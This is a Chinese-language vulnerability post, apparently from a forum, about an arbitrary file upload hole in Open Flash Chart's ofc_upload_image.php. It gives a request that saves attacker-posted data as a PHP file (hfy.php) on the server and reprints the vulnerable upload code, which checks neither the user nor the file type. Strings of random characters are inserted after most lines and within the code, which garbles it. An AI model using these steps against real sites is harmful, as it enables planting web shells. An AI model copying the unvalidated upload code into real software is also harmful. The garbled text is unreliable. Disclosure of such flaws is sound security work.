POST 数据漏洞文件执行任意后缀文件保存0 w4 }3 z; M5 k3 h# u* N
漏洞文件/chart/php-ofc-library/ofc_upload_image.php3 S5 Z% O0 U, l6 K3 a+ [' f
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利用:
5 C" f# h3 @6 R$ V, E: Y! _/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名8 B9 k; ]; I; x/ n- p
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Post任意数据: J" T# i" c; F# O, |
保存位置http://localhost/chart/tmp-upload-images/hfy.php
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- }, I0 W, U0 k6 n6 ?; B! B% L" A最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~0 i* p5 b2 k' k9 k1 l1 d
6 }: H! E4 `; m( M0 a9 {8 Q* h<?php( W" q* S$ o1 W
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// In Open Flash Chart -> save_image debug mode, you
! l( L8 ?: W2 s! u- [& {5 X// will see the 'echo' text in a new window.
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/*
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print_r( $_GET );
. p, s$ i5 E8 }3 d0 dprint_r( $_POST );; Z! }+ l. E1 m8 b/ q' _2 m
print_r( $_FILES );
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, Q8 A) g8 L( S- t" Dprint_r( $GLOBALS );
/ k W, ^8 }7 ?' Hprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
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// default path for the image to be stored //1 B/ G4 v( c' d0 L8 ?8 F& |3 \
$default_path = '../tmp-upload-images/';
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% @2 c6 j, F* q, l- T& f' Jif (!file_exists($default_path)) mkdir($default_path, 0777, true);# c( }6 W, K' O, U m
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// full path to the saved image including filename //
+ R* E3 x% ]5 R! r$destination = $default_path . basename( $_GET[ 'name' ] ); # d8 j" Y, f& B Q( g' D" V
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echo 'Saving your image to: '. $destination;
+ ~7 |0 U. u) m M! G" M// print_r( $_POST );
Y* W5 H- ?7 ?$ A// print_r( $_SERVER );7 L8 A. S! d- t2 ]2 l9 P! H
// echo $HTTP_RAW_POST_DATA;1 K" K O+ L# R& T, K6 M8 [
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// POST data is usually string data, but we are passing a RAW .png# X& }- A5 v" R
// so PHP is a bit confused and $_POST is empty. But it has saved$ n1 V- S6 Y6 \
// the raw bits into $HTTP_RAW_POST_DATA9 u: z# y8 W3 ~8 r, P* G- g3 D1 H
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$jfh = fopen($destination, 'w') or die("can't open file");# g( B5 K8 v( |6 v6 u
fwrite($jfh, $HTTP_RAW_POST_DATA);' ?$ V' X+ y1 w6 n8 @4 R" p
fclose($jfh);
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//
7 r8 A6 t7 ?+ v// LOOK:
`9 x7 J! V" Y8 N! z//
7 Y/ Y) C8 b! M) Y. H$ ~exit();, J$ d$ ~0 l, Y" X
//* p: s* M X; \
// PHP5:
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// default path for the image to be stored //' C+ I! M0 x! a5 _
$default_path = 'tmp-upload-images/';$ T! n4 P$ m6 M* J9 V6 D
1 N7 D1 f; [1 V. t% h3 j3 d! Iif (!file_exists($default_path)) mkdir($default_path, 0777, true);
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+ b% Y; \% D8 u; _' l// full path to the saved image including filename //
. r2 I5 K8 _3 e. s d) L% u$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
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// move the image into the specified directory //+ {. k e( G2 X* T0 Y
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
1 G5 v6 E1 @- g8 E echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
: W0 i5 R# u0 U% D1 i} else {
- d/ A/ {( J" G! f6 `/ V echo "FILE UPLOAD FAILED";
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修复方案:
. u& m0 j+ v/ ^# x1 h! M: N' ~- c这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 6 V' W) ~- D3 `: P6 e# q$ t( S9 c7 F
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